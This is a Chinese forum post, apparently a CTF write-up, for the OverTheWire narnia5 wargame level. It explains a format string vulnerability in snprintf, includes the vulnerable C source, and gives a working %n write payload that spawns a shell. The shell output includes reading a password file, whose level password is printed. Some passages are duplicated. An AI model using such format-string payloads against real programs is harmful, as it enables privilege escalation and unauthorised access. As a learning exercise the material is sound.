首页
社区
课程
招聘
[原创]WarGame-narnia5 解题思路
发表于: 2019-7-30 15:11 7733

[原创]WarGame-narnia5 解题思路

2019-7-30 15:11
7733

Narnia5源码如下

这个游戏引入了一个新的漏洞,格式化字符串漏洞,从前我在玩看雪CTF时也遇到过同样的漏洞,但是看writeup时一直不知道这种漏洞利用时的转义字符是什么意思,很多大佬也不给解释;这个级别的游戏花了我两天多的时间来学习这个漏洞的基本知识;注意观察源码中的snprintf函数,他没有对用户输入的参数做过滤,从而导致了任意地址读写,当我们修改了i的值为500时,就能获得一个shell,和之前级别的栈溢出不同的是,格式化字符串一次只能改一个值(就像是狙击),在狙击之前要确定修改后的值、变量的地址和储存变量地址的地址,从源码来看,修改后的值为500,调试如下

%p是为了要打印栈中的地址,因为要找到储存要写入的地址的地址(有点儿绕),参数里前4个字节就是要写入的地址,%p是为了找到储存要写入的地址在栈中是第几个,这个游戏为了迎合新人,就直接把要写入的地址放在了第一个,实际中,放到几百个以后都是有可能的,在writeup的最后我会展现如何在gdb中寻找所需的地址位置的方法,实际利用方法如下

因为这是我第一次真正的做格式化字符串漏洞,并且也学习了很长时间,所以我会详细的讲下每个参数的意思,从源码来看每次i在打印时会将i的值和i的地址同时打印出来,因为没开ASLR,所以i的地址不会改变,第一个参数就是i的实际地址,第二部分’%496x’测试要写入的数据,因为前面已经有四个字节的地址了,所以应该是500-4=496,最后的’%01$n’则是代表要写入的位置是第一个(n是写入的意思),实际使用gdb调试结果如下(我用的是Ubuntu18.04 64位,pwndbg)

正如栈中显示的,输入的四个’\x43’并不是栈中的第一个值,所以之前并没有说是栈中的第一个,只是打印出来是第一个,注意断点是下在snprintf处,所以要等执行完snprintf函数后,才能打印出来

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
	int i = 1;
	char buffer[64];

	snprintf(buffer, sizeof buffer, argv[1]);
	buffer[sizeof (buffer) - 1] = 0;
	printf("Change i's value from 1 -> 500. ");

	if(i==500){
		printf("GOOD\n");
        setreuid(geteuid(),geteuid());
		system("/bin/sh");
	}

	printf("No way...let me give you a hint!\n");
	printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
	printf ("i = %d (%p)\n", i, &i);
	return 0;
}

这个游戏引入了一个新的漏洞,格式化字符串漏洞,从前我在玩看雪CTF时也遇到过同样的漏洞,但是看writeup时一直不知道这种漏洞利用时的转义字符是什么意思,很多大佬也不给解释;这个级别的游戏花了我两天多的时间来学习这个漏洞的基本知识;注意观察源码中的snprintf函数,他没有对用户输入的参数做过滤,从而导致了任意地址读写,当我们修改了i的值为500时,就能获得一个shell,和之前级别的栈溢出不同的是,格式化字符串一次只能改一个值(就像是狙击),在狙击之前要确定修改后的值、变量的地址和储存变量地址的地址,从源码来看,修改后的值为500,调试如下

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p%p%p%p"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [CCCC0x434343430x333478300x333433340x783033340x343333330x3033383] (63)
i = 1 (0xffffd6e0)
narnia5@narnia:/narnia$

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p%p%p%p"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [CCCC0x434343430x333478300x333433340x783033340x343333330x3033383] (63)
i = 1 (0xffffd6e0)
narnia5@narnia:/narnia$

%p是为了要打印栈中的地址,因为要找到储存要写入的地址的地址(有点儿绕),参数里前4个字节就是要写入的地址,%p是为了找到储存要写入的地址在栈中是第几个,这个游戏为了迎合新人,就直接把要写入的地址放在了第一个,实际中,放到几百个以后都是有可能的,在writeup的最后我会展现如何在gdb中寻找所需的地址位置的方法,实际利用方法如下

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff%496x%01$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
neezocaeng
$

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff%496x%01$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
neezocaeng
$

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2019-7-30 15:12 被pureGavin编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回